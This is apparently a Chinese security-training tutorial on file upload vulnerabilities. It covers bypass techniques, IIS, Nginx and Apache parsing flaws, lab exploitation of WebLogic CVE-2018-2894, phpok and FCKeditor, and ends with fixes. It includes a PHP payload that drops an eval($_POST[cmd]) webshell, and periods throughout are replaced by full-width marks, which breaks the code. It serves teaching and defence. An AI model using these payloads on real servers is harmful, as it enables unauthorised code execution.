本文由紅日安全成員: MisakiKata 編寫,如有不當,還望斧正。

大家好,我們是紅日安全-Web安全攻防小組。此專案是關於Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個專案起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於

漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分為PHP靶場、JAVA靶場、Python靶場基本上三種靶場全部涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練)

,如果對大家有幫助請

Star

鼓勵我們創作更好文章。如果你願意加入我們,一起完善這個專案,歡迎透過郵件形式

[email protected]

聯絡我們。

1. 檔案上傳漏洞

1.1 漏洞簡介

​ 檔案上傳,顧名思義就是上傳檔案的功能行為,之所以會被髮展為危害嚴重的漏洞,是程式沒有對訪客提交的資料進行檢驗或者過濾不嚴,可以直接提交修改過的資料繞過副檔名的檢驗。檔案上傳漏洞是漏洞中最為簡單猖獗的利用形式,一般只要能上傳獲取地址,可執行檔案被解析就可以獲取系統WebShell。

1.2 漏洞原理

​ 網站WEB應用都有一些檔案上傳功能,比如文件、圖片、頭像、影片上傳,當上傳功能的實現程式碼沒有嚴格校驗上傳檔案的字尾和檔案型別時,就可以上傳任意檔案甚至是可執行檔案後門。

1.3 漏洞危害

​ 惡意檔案傳遞給直譯器去執行,之後就可以在伺服器上執行惡意程式碼,進行資料庫執行、伺服器檔案管理,伺服器命令執行等惡意操作。根據網站使用及可解析的程式指令碼不同,可以上傳的惡意指令碼可以是PHP、ASP、JSP、ASPX檔案等。

2. 上傳點和繞過形式

2.1 檔案上傳常見點

上傳頭像

上傳相簿

上傳附件

新增文章圖片

前臺留言資料上傳

編輯器檔案上傳

……

例如如下編輯器上傳點:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

檔案管理處檔案上傳:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

前臺使用者發表文章處檔案上傳:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

個人頭像處檔案上傳:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

2.2 字尾繞過

PHP:

php2、php3、php5、phtml、pht(是否解析需要根據配置檔案中設定型別來決定)

ASP:

asa、cer、cdx

ASPX:

ascx、ashx、asac

JSP:

jsp、jspx、jspf

2.3 繞過型別

Content-Type繞過

前端繞過

檔案解析規則繞過

Windows環境特性繞過

檔名大小寫繞過

雙寫繞過

點空格繞過

檔案頭繞過

條件競爭繞過

……

在以下的文章介紹中,將採取其中的幾種常見的繞過形式做演示。

3. 漏洞在系統中的差異

​ 上傳檔案漏洞在不同的系統、架構以及行為中,利用形式也是各不相同。常用的web容器有IIS、Tomcat、Nginx、Apache等。以下主要以比較經典的解析漏洞做解釋。

3.1 IIS 5.x/6.0解析漏洞

1、當建立。asp的檔案目錄的時候,在此目錄下的任意檔案,伺服器都解析為asp檔案。例如如下:

漏洞目錄利用形式:www。xxx。com/xx。asp/xx。jpg。

xx。jpg的內容可以為一段合法的asp指令碼檔案。

2、伺服器預設不解析”;“以後的內容,導致xx。asp;。jpg被解析成xx。asp

漏洞檔案利用形式:www。xxx。com/xx。asp;。jpg

xx。jpg的內容可以為一段合法的asp指令碼檔案。

漏洞產生的原因參考詳細文章內容:

https://www。

cnblogs。com/l1pe1/p/921

0094。html

透過對IIS6的核心檔案型別解析相關檔案的逆向後,整理出下面的核心處理程式碼。

//reverse code by golds7n with ida

int __thiscall Url(void *this, char *UrlStruct)

{

void *pW3_URL_INFO; // esi@1

int bSuccess; // eax@1

const wchar_t *i; // eax@2

wchar_t *wcsSlashTemp; // ebx@6

int wcsTemp; // eax@6

int wcs_Exten; // eax@6

int v8; // esi@9

int v10; // eax@11

int v11; // ST04_4@13

int v12; // eax@13

int ExtenDll; // eax@19

int Extenisa; // eax@20

int ExtenExe; // eax@21

int ExtenCgi; // eax@22

int ExtenCom; // eax@23

int ExtenMap; // eax@24

int Entry; // [sp+Ch] [bp-148h]@6

wchar_t *wcsMaohaoTemp; // [sp+10h] [bp-144h]@6

unsigned int dotCount; // [sp+14h] [bp-140h]@1

wchar_t *Str; // [sp+18h] [bp-13Ch]@3

char *url_FileName; // [sp+1Ch] [bp-138h]@1

char Url_FileExtenName; // [sp+20h] [bp-134h]@1

char v25; // [sp+50h] [bp-104h]@1

dotCount = 0;

pW3_URL_INFO = this;

STRU::STRU(&Url_FileExtenName, &v25, 0x100u);

url_FileName = (char *)pW3_URL_INFO + 228;

bSuccess = STRU::Copy((char *)pW3_URL_INFO + 228, UrlStruct);

if ( bSuccess < 0 )

goto SubEnd;

for ( i = (const wchar_t *)STRU::QueryStr((char *)pW3_URL_INFO + 228); ; i = Str + 1 )

{

Str = _wcschr(i, ‘。’); ***********N1************

if ( !Str )

break;

++dotCount;

if ( dotCount > W3_URL_INFO::sm_cMaxDots )

break;

bSuccess = STRU::Copy(&Url_FileExtenName, Str);

if ( bSuccess < 0 )

goto SubEnd;

wcsSlashTemp = _wcschr(Str, ‘/’); ***********N2************

JUMPOUT(wcsSlashTemp, 0, loc_5A63FD37);

wcsTemp = STRU::QueryStr(&Url_FileExtenName);

wcsMaohaoTemp = _wcschr((const wchar_t *)wcsTemp, ‘:’); ***********N3************

JUMPOUT(wcsMaohaoTemp, 0, loc_5A63FD51);

wcs_Exten = STRU::QueryStr(&Url_FileExtenName);

__wcslwr((wchar_t *)wcs_Exten);

if ( META_SCRIPT_MAP::FindEntry(&Url_FileExtenName, &Entry) )

{

*((_DWORD *)pW3_URL_INFO + 201) = Entry;

JUMPOUT(wcsSlashTemp, 0, loc_5A63FDAD);

STRU::Reset((char *)pW3_URL_INFO + 404);

break;

}

if ( STRU::QueryCCH(&Url_FileExtenName) == 4 )

{

ExtenDll = STRU::QueryStr(&Url_FileExtenName);

if ( !_wcscmp(L“。dll”, (const wchar_t *)ExtenDll)

|| (Extenisa = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L“。isa”, (const wchar_t *)Extenisa)) )

JUMPOUT(loc_5A63FD89);

ExtenExe = STRU::QueryStr(&Url_FileExtenName);

if ( !_wcscmp(L“。exe”, (const wchar_t *)ExtenExe)

|| (ExtenCgi = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L“。cgi”, (const wchar_t *)ExtenCgi))

|| (ExtenCom = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L“。com”, (const wchar_t *)ExtenCom)) )

JUMPOUT(loc_5A63FD89);

ExtenMap = STRU::QueryStr(&Url_FileExtenName);

JUMPOUT(_wcscmp(L“。map”, (const wchar_t *)ExtenMap), 0, loc_5A63FD7B);

}

}

if ( *((_DWORD *)pW3_URL_INFO + 201)

|| (v10 = *((_DWORD *)pW3_URL_INFO + 202), v10 == 3)

|| v10 == 2

|| (v11 = *(_DWORD *)(*((_DWORD *)pW3_URL_INFO + 204) + 0xC4C),

v12 = STRU::QueryStr(url_FileName),

bSuccess = SelectMimeMappingForFileExt(v12, v11, (char *)pW3_URL_INFO + 756, (char *)pW3_URL_INFO + 1012),

bSuccess >= 0) )

v8 = 0;

else

SubEnd:

v8 = bSuccess;

STRU::_STRU(&Url_FileExtenName);

return v8;

}

以上有三處被標記的位置,這三處是用來檢測點號、反斜槓、分號。、

可以理解為的檢測流程為:

www。xxx。com/xxx。asp;xxx。jpg

N1:從頭部查詢查詢“。”號,獲得“。asp;xxxx。jpg”

N2:查詢“;”號,如果有則記憶體截斷

N3:查詢“/”,如果有則記憶體截斷

因此,。asp將最終被儲存下來,IIS6只簡單地根據副檔名來識別,所以從指令碼對映表中裡查詢指令碼與副檔名對比,並利用asp。dll來解析。導致最終的問題產生。

對於此問題,微軟並不認為這是一個漏洞,同樣也沒推出IIS6。0解析漏洞的補丁。因此在IIS6。0的網站下,此問題仍然可以嘗試是否存在。

3.2 Nginx 解析漏洞

​ Nginx是一個高效能的HTTP和反向代理web伺服器,同時也提供了IMAP/POP3/SMTP服務。Nginx是由伊戈爾·賽索耶夫為俄羅斯訪問量第二的

http://

Rambler。ru

站點開發的。

​ 在低版本Nginx中存在一個由PHP-CGI導致的檔案解析漏洞。為什麼是由於PHP-CGI的原因呢,因為在PHP的配置檔案中有一個關鍵的選項cgi。fix_pathinfo在本機中位於php。ini配置檔案中,預設是開啟的,當URL中有不存在的檔案時,PHP就會預設向前解析。

​ 普遍的做法是在Nginx配置檔案中透過正則匹配設定SCRIPT_FILENAME。訪問 ”

http://www。

xx。com/phpinfo。jpg/1。ph

p

” 這個URL時,$fastcgi_script_name會被設定為“phpinfo。jpg/1。php”,然後構造成SCRIPT_FILENAME傳遞給PHP-CGI,但是PHP為什麼會接受這樣的引數,並將phpinfo。jpg作為PHP檔案解析呢?這就要說到fix_pathinfo這個選項了。如果開啟了這個選項,那麼就會觸發在PHP中的如下邏輯:PHP會認為SCRIPT_FILENAME是phpinfo。jpg,而1。php是PATH_INFO,所以就會將phpinfo。jpg作為PHP檔案來解析了

​ 在預設Fast-CGI開啟狀況下上傳名字為xx。jpg,內容為:

<?PHP fputs(fopen(‘shell。php’,‘w’),‘<?php eval($_POST[cmd])?>’);?>

然後訪問xx。jpg/。php,在這個目錄下就會生成一句話木馬shell。php。同樣利用phpstudy說明,上傳1。jpg格式的檔案,內容為訪問phpinfo,如下即可觸發:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

3.3 Apache 解析漏洞

​ Apache是世界使用排名第一的Web伺服器軟體。它可以執行在幾乎所有廣泛使用的計算機平臺上,由於其跨平臺和安全性被廣泛使用,是最流行的Web伺服器端軟體之一。它快速、可靠並且可透過簡單的API擴充,將Perl/Python等直譯器編譯到伺服器中。

​ Apache 在1。x和2。x版本中存在解析漏洞,例如如下地址格式:

www。xxxx。com/apache。php。bbb。aaa

Apache從右至左開始判斷後綴,若aaa非可識別字尾,再判斷bbb,直到找到可識別字尾為止,然後將該可識別字尾進解析,因此如上地址解析為訪問apache。php檔案。

​ 那麼為什麼會產生此問題原因,在Apache的官方網站上,有一句這麼關於“extension”的解釋:

地址:http://httpd。apache。org/docs/current/mod/directive-dict。html

extension

In general, this is the part of the filename which follows the last dot。 However, Apache recognizes multiple filename extensions, so if a filename contains more than one dot, each dot-separated part of the filename following the first dot is an extension。 For example, the filename file。html。en contains two extensions: 。html and 。en。 For Apache directives, you may specify extensions with or without the leading dot。 In addition, extensions are not case sensitive。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

​ 透過這個解釋可以看出來,Apache允許檔案有多個字尾名,並會按照第一個點來分析檔案字尾,例如file。html。en。Apache按照每個點來分割字尾名,因此此檔名為。html、。en。由於en字尾不被識別,便繼續向前解析。

​ 另外對於Apache解析漏洞的正確說法應該是,使用module模式與php結合的所有版本 apache存在未知副檔名解析漏洞,使用fastcgi模式與php結合的所有版本apache不存在此漏洞。而是否解析的字尾名在檔案mime。types中查詢是否出現。

​ 此處使用phpstudy測試,利用dvwa的檔案上傳功能,上傳1。php。wwe。結果解析如下:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

4. 測試

以下采用手工測試和工具測試兩種方法來進行檔案上傳測試。

4.1 手工測試

對於檔案上傳漏洞方式和舉例此處採用一個檔案靶場,地址:

https://

github。com/c0ny1/upload

-labs

以下將利用靶場其中的一部分內容來舉例說明檔案上傳漏洞的產生和效果。

環境:Ubuntu 18、Windows phpStudy (採用不一樣的系統,為了在不同系統的差異做演示)

WEB容器:Apache 2。0

語言:PHP

抓包工具:Burp Suite Pro

驗證工具:Hackbar外掛

4.1.1 前端驗證

此種驗證形式在很多網站、CMS都有使用,只在前端利用JS來做效驗,採用禁用JS上傳、抓包上傳都可以繞過此處限制。此處採用抓包演示。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

點選上傳檔案,選擇已經改成“。jpg”字尾的後門檔案。修改burp中的檔案字尾資訊。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

訪問已經上傳的檔案,利用Hackbar訪問phpinfo()。可以看到後門已經得到執行。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

4.1.2

.htaccess規則檔案繞過

​ 在利用。htaccess檔案之前,我們先來了解一下什麼是。htaccess規則檔案。。htaccess檔案(或者“分散式配置檔案”),全稱是Hypertext Access(超文字入口)。提供了針對目錄改變配置的方法, 即,在一個特定的文件目錄中放置一個包含一個或多個指令的檔案, 以作用於此目錄及其所有子目錄。作為使用者,所能使用的命令受到限制。

​ 概述來說,。htaccess檔案是Apache伺服器中的一個配置檔案,它負責相關目錄下的網頁配置。透過htaccess檔案,可以幫我們實現:網頁301重定向、自定義404錯誤頁面、改變副檔名、允許/阻止特定的使用者或者目錄的訪問、禁止目錄列表、配置預設文件等功能。

​ 在一些啟用了。htaccess檔案的網站上就可以使用此檔案型別來繞過限制較全面的黑名單過濾。

​ 先上傳一個。htaccess檔案,內容為:

AddType application/x-httpd-php 。aaa

。如下:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

​ 然後再上傳檔案字尾為。aaa的檔案,讓其解析為php型別檔案。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

​ 上傳成功後訪問此上傳檔案,訪問如下:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

4.1.3 檔名字尾大小寫混合繞過

​ 在對字尾的判斷中,如果只是對字串進行單獨的比較來判斷是不是限制檔案,可以採用字尾名大小寫繞過形式。如下形式:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

​ 訪問上傳成功的檔案:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

4.1.4 Windows檔案流特性繞過

​ 在討論這種特性之前,我們先來認識一下Windows檔案流。流檔案,即NTFS交換資料流(alternate data streams,簡稱ADS),是NTFS磁碟格式的一個特性,在NTFS檔案系統下,每個檔案都可以存在多個數據流,就是說除了主檔案流之外還可以有許多非主檔案流寄宿在主檔案流中,它使用資源派生來維持與檔案相關的資訊。建立一個數據交換流檔案的方法很簡單,命令為“宿主檔案:準備與宿主檔案關聯的資料流檔案”。

​ 詳細相關介紹和內容可以檢視文章:https://www。freebuf。com/column/143101。html。此處不做深入解釋。

上傳檔案為xxx。php::$DATA型別的檔案。可以看到上傳的檔案為xxx。php::$data。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

我們訪問的時候就可以直接訪問xxx。php檔案。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

4.1.5 %00截斷繞過

​ 以上問題被繞過的根本原因是採用了一些有缺陷的黑名單限制,一般採用白名單的限制會減少相當多的繞過問題產生,但是並不意味著一定安全,在某些沒有處理嚴格的程式上,仍然可以採用截斷繞過的形式。

首先我們來看這段上傳的程式碼:

$is_upload = false;

$msg = null;

if(isset($_POST[‘submit’])){

$ext_arr = array(‘jpg’,‘png’,‘gif’);

$file_ext = substr($_FILES[‘upload_file’][‘name’],strrpos($_FILES[‘upload_file’][‘name’],“。”)+1);

if(in_array($file_ext,$ext_arr)){

$temp_file = $_FILES[‘upload_file’][‘tmp_name’];

$img_path = $_POST[‘save_path’]。“/”。rand(10, 99)。date(“YmdHis”)。“。”。$file_ext;

if(move_uploaded_file($temp_file,$img_path)){

$is_upload = true;

} else {

$msg = “上傳失敗”;

}

} else {

$msg = “只允許上傳。jpg|。png|。gif型別檔案!”;

}

}

可以看出程式碼採用的白名單校驗,只允許上傳圖片格式,理論上這個上傳是不好繞過的。但是後面採用儲存檔案的時候,是路徑拼接的形式,而路徑又是從前端獲取,所以我們可以採用在路徑上截斷。如下上傳,顯示檔案路徑中有個空格,這並不是真正意義上的空格,而是%00截斷後顯示成的空格。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

訪問上傳地址路徑:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

4.1.6 檔案頭檢測繞過

​ 提到檔案頭檢測,我們就先來認識一下常見檔案的檔案頭格式。我們先開啟一個正常的JPG圖片格式檔案,檢視檔案的檔案頭十六進位制。採用010Editor。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

​ 右邊欄中有明顯的JFIF儲存格式字樣,檔案頭前十個位元組為

FF D8 FF E0 00 10 4A 46 49 46

,其中開頭標紅的為標記碼,FF D8代表SOI標記,意思是影象檔案開始值。

4A 46 49 46

代表字串JFIF標記。

關於JPEG檔案格式介紹可以閱讀:

https://www。

cnblogs。com/sddai/p/566

6924。html

​ 然後我們再開啟一份PNG檔案格式的圖片,同樣採用010Editor來檢視其十六進位制。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

​ 對於的開頭4位元組為右欄中

‰PNG

字樣,PNG的8位元組檔案署名域用來識別該檔案是不是PNG檔案。也就是

89 50 4E 47 0D 0A 1A 0A

關於PNG檔案格式可以閱讀:

https://

blog。csdn。net/qq_219509

29/article/details/79198814

​ 同樣開啟一份GIF檔案格式圖片,用010Editor來開啟檢視檔案。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

​ 檔案十六進位制中可以看到,其中

47 49 46 38 39 61

,代表了右欄中的GIF89a,這六個位元組作為了GIF檔案格式頭的開標頭檔案。而在其後的繞過中就採用了GIF89a這個字串。

關於GIF檔案格式可以閱讀:

https://www。

jianshu。com/p/df52f1511

cf8

瞭解過檔案格式後,我們來看這個檔案格式檢測繞過形式,首先檢視程式碼,為了方便演示修改了原始碼對檔案格式的獲取,此處只讀取檔案的前兩個位元組值:

function getReailFileType($filename){

$file = fopen($filename, “rb”);

$bin = fread($file, 2); //只讀2位元組

fclose($file);

$strInfo = @unpack(“C2chars”, $bin);

$typeCode = intval($strInfo[‘chars1’]。$strInfo[‘chars2’]);

$fileType = ‘’;

switch($typeCode){

case 255216:

$fileType = ‘jpg’;

break;

case 13780:

$fileType = ‘png’;

break;

case 7173:

$fileType = ‘gif’;

break;

default:

$fileType = ‘unknown’;

}

return $fileType;

}

$is_upload = false;

$msg = null;

if(isset($_POST[‘submit’])){

$temp_file = $_FILES[‘upload_file’][‘tmp_name’];

$file_type = getReailFileType($temp_file);

if($file_type == ‘unknown’){

$msg = “檔案未知,上傳失敗!”;

}else{

$file_ext = substr($_FILES[‘upload_file’][‘name’],strrpos($_FILES[‘upload_file’][‘name’],“。”)+1); //此處為了方便演示添加了file_ext 變數

$img_path = UPLOAD_PATH。“/”。rand(10, 99)。date(“YmdHis”)。“。”。$file_ext;

if(move_uploaded_file($temp_file,$img_path)){

$is_upload = true;

} else {

$msg = “上傳出錯!”;

}

}

}

然後上傳php檔案,修改檔案內容,新增檔案頭GIF89a:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

這種新增形式類似於在hex中修改新增:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

然後在訪問以上傳的檔案:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

4.2 利用工具進行FUZZ

​ 很多網站對上傳進行攔截的時候採取的是黑名單校驗,當我們看到黑名單的時候就可以考慮採取修改後綴、截斷等方式嘗試繞過。

​ 我們採用一個工具:

https://

github。com/c0ny1/upload

-fuzz-dic-builder

來生成fuzz的字典。執行命令:

python upload-fuzz-dic-builder。py -n test -a jpg -l php -m apache ——os win -o upload_file。txt

​ 把生成的字典匯入burp中,同時取消payload-encoding的選中狀態。執行後可以看到有些php檔案上傳成功。然後訪問其中上傳成功的檔案,檢視是否執行。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

訪問如圖中的地址檔案,可以看到上傳成功:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

5. 實戰演示

演示漏洞為:CVE-2018-2894

漏洞環境:Linux Weblogic 12。2

漏洞下載地址:

https://

github。com/vulhub/vulhu

b/tree/master/weblogic/CVE-2018-2894

漏洞介紹:WebLogic管理端未授權的兩個頁面存在任意上傳getshell漏洞,可直接獲取許可權。兩個頁面分別為/ws_utc/begin。do,/ws_utc/config。do。

影響範圍為:Oracle WebLogic Server,版本10。3。6。0,12。1。3。0,12。2。1。2,12。2。1。3。

下載好vulhub後,進入相應的CVE目錄,執行如下命令:

docker-compose up -d

等到docker構建結束,會在7001埠開放一個服務,如下所示:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

此處需要登陸賬號和密碼,正常情況下是嘗試弱口令進後臺上傳檔案,此處方便演示,從構建日誌中檢視密碼:

docker-compose logs | grep password

檢視結果:

weblogic_1 | ——> ‘weblogic’ admin password: oZUcqr8j

weblogic_1 | admin password : [oZUcqr8j]

weblogic_1 | * password assigned to an admin-level user。 For *

登陸後介面如下:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

點選左側中的base_domain選項,再點選下面的高階選項,從高階中啟用web測試頁,儲存。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

然後訪問http://192。168。120。132:7001/ws_utc/config。do頁面,設定Work Home Dir,可以看到其中已經填寫一個目錄,此目錄訪問需要登陸,修改為P牛的建議路徑:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com。oracle。webservices。wls。ws-testclient-app-wls/4mcj4y/war/css

原路徑為:

/u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir

在當前頁面中選擇安全->新增,上傳webshell

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

然後從放回頁面中檢視id項時間戳,訪問路徑/ws_utc/css/config/keystore/時間戳_檔名

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

然後執行命令whoami:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

6. CMS實戰演示

6.1 PHPOK 任意檔案上傳

演示漏洞為:phpok 任意檔案上傳

漏洞環境:Windows phpStudy

漏洞環境下載:

https://

download。phpok。com/4。8。

338。zip

漏洞介紹:phpok 4。8。338版本管理後臺存在任意檔案上傳漏洞,攻擊者可利用漏洞上傳任意檔案,獲取網站許可權。

下載檔案後,把解壓的檔案放入phpstudy中的www目錄中,此處修改了版本號目錄為phpok。然後訪問本地地址:http://localhost/phpok,會自動進入安裝頁面,填寫資料庫密碼,建立賬號後自動進入安裝頁面,安裝完成後顯示如下:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

使用一開始建立的賬號密碼登陸,登陸成功後在後側的選擇欄處選擇工具->附件分類管理。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

點選右側上方的建立資源分類,然後在支援的附件型別中建立php檔案型別。

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

選擇左側的內容管理->資訊中心->行業管理

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

點選頁面中的選擇圖片->上傳附近選擇新增的附件型別->選擇php檔案上傳,上傳成功後點擊上傳的圖片,選擇預覽就可以看到檔案目錄的地址

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

訪問地址檔案後門,可以看到執行程式碼成功

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

漏洞修復:此問題在高版本修復,及時升級到高版本處理,目前最新版本為5。2。116。

6.2 FCKeditor 2.4.3 檔案上傳

演示漏洞為:FCKeditor 2。4。3 檔案上傳

漏洞環境:Windows phpStudy

漏洞環境下載:

https://

github。com/treadmillian

/fckeditor。git

漏洞介紹:FCKeditor /fckeditor/editor/filemanager/upload/php/upload。php 檔案上傳漏洞。

首先從GitHub下載檔案,放到phpStudy的www目錄中,同時修改config。php檔案,修改UserFilesPath引數為fck目錄下的地址,可以修改為網站根目錄下的任意目錄中,此處修改如下:

檔案地址: \fckeditor\editor\filemanager\browser\default\connectors\php\config。php

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

訪問地址:

http://localhost/fckeditor/editor/filemanager/browser/default/connectors/test。html#

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

選擇檔案上傳,由於2。4。3在檔案配置已經進行了字尾的限制,預設限制為:

array(‘html’,‘htm’,‘php’,‘php2’,‘php3’,‘php4’,‘php5’,‘phtml’,‘pwml’,‘inc’,‘asp’,‘aspx’,‘ascx’,‘jsp’,‘cfm’,‘cfc’,‘pl’,‘bat’,‘exe’,‘com’,‘dll’,‘vbs’,‘js’,‘reg’,‘cgi’,‘htaccess’,‘asis’,‘sh’,‘shtml’,‘shtm’,‘phtm’)

對於此處漏洞我們採用空格繞過,先上傳一個JPG的圖片,抓包修改後綴,新增空格如下:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

訪問上傳產生的路徑檔案,路徑會顯示在頁面中:

http://localhost/fckeditor/editor/filemanager/browser/default/connectors/uploads/file/05091707156。php

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

執行一句話木馬檔案:

[紅日安全]Web安全Day5 - 任意檔案上傳實戰攻防

漏洞修復:由於此處使用黑名單校驗,可以根據需要的型別修改為白名單引數。

7. 漏洞修復

關於檔案上傳漏洞的產生和修改此處討論兩種檔案上傳漏洞的情況和修復:

7。1 程式碼未判斷檔案型別或者檔案型別限制不完全,一般這種是黑名單或者沒有限制,建議新增白名單限制引數陣列,固定為圖片或文字格式檔案。例如如下:

if(isset($_POST[‘submit’])){

$ext_arr = array(‘jpg’,‘png’,‘gif’);

$file_ext = substr($_FILES[‘upload_file’][‘name’],strrpos($_FILES[‘upload_file’][‘name’],“。”)+1);

if(in_array($file_ext,$ext_arr)){

$temp_file = $_FILES[‘upload_file’][‘tmp_name’];

$img_path = UPLOAD_PATH。‘/’。rand(10, 99)。date(“YmdHis”)。“。”。$file_ext;

if(move_uploaded_file($temp_file,$img_path)){

$is_upload = true;

} else {

$msg = “上傳失敗”;

}

} else {

$msg = “只允許上傳。jpg|。png|。gif型別檔案!”;

}

}

7。2 如果是使用WEB中介軟體存在上傳,或者是CMS存在檔案上傳漏洞,根據官方建議安裝補丁升級版本,或者使用官方推薦的臨時修改策略來限制問題的產生和利用。